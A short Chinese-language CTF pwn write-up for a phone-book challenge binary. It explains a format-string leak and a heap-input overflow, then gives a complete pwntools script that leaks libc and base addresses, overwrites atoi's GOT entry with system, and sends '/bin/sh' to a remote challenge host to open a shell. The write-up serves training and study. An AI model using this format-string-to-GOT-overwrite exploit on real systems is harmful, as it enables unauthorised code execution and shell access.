

先简单地看一下程序逻辑可以发现有定时,先移除一下alarm
sed -i s/alarm/isnan/g ./program

在E13这个新建通讯录的函数中可以发现number和name的输入都是无限制的,然后写入了信息到创建的堆块中
然后看到在show record函数中有格式化字符串漏洞,在菜单中有一个atoi函数

因为程序一直处于循环中,所以可以先利用格式化字符串泄露libcbase和程序基地址,然后再利用下面这个函数中的溢出修改写入位置qword_2020F8的内容,使其写入system的地址到atoi的got表位置
from pwn import *
file = './hello'
i = 0
if i == 1:
io = process(file)
else:
io = remote('61.147.171.106',62813)
elf = ELF(file)
libc = ELF('./libc-2.23.so')
context.arch = 'amd64'
context.log_level = 'debug'
sd = lambda s : io.send(s)
sl = lambda s : io.sendline(s)
sa = lambda n,s : io.sendafter(n,s)
sla = lambda n,s : io.sendlineafter(n,s)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
ru = lambda s : io.recvuntil(s)
ra = lambda : io.recvall()
it = lambda : io.interactive()
#gdb.attach(io)
#---------- EXP ----------
sla(b'choice>>',b'1')
sla(b'number',b'%13$p.%9$p')
sla(b'name:',b'1')
sla(b'size:',b'3')
sla(b'info:',b'aaa')
sla(b'choice>>',b'3')
sla(b'index:',b'0')
ru(b'number:0x')
libc_main = int(rc(12),16) - 240
success("libc_main: "+hex(libc_main))
ru(b'.0x')
baseaddr = int(rc(12),16) - 0x1274
success("baseaddr: "+hex(baseaddr))
libcbase = libc_main - libc.symbols['__libc_start_main']
success("libcbase:" + hex(libcbase))
system = libcbase + libc.symbols['system']
success('system: '+hex(system))
sla(b'>>',b'4')
sla(b'index:',b'0')
sla(b'number:',b'c'*11)
sla(b'name',b'a'*13 + p64(baseaddr + elf.got['atoi']))
sla(b'info:',p64(system))
sla(b'>>',b'/bin/sh')
it()
Comments NOTHING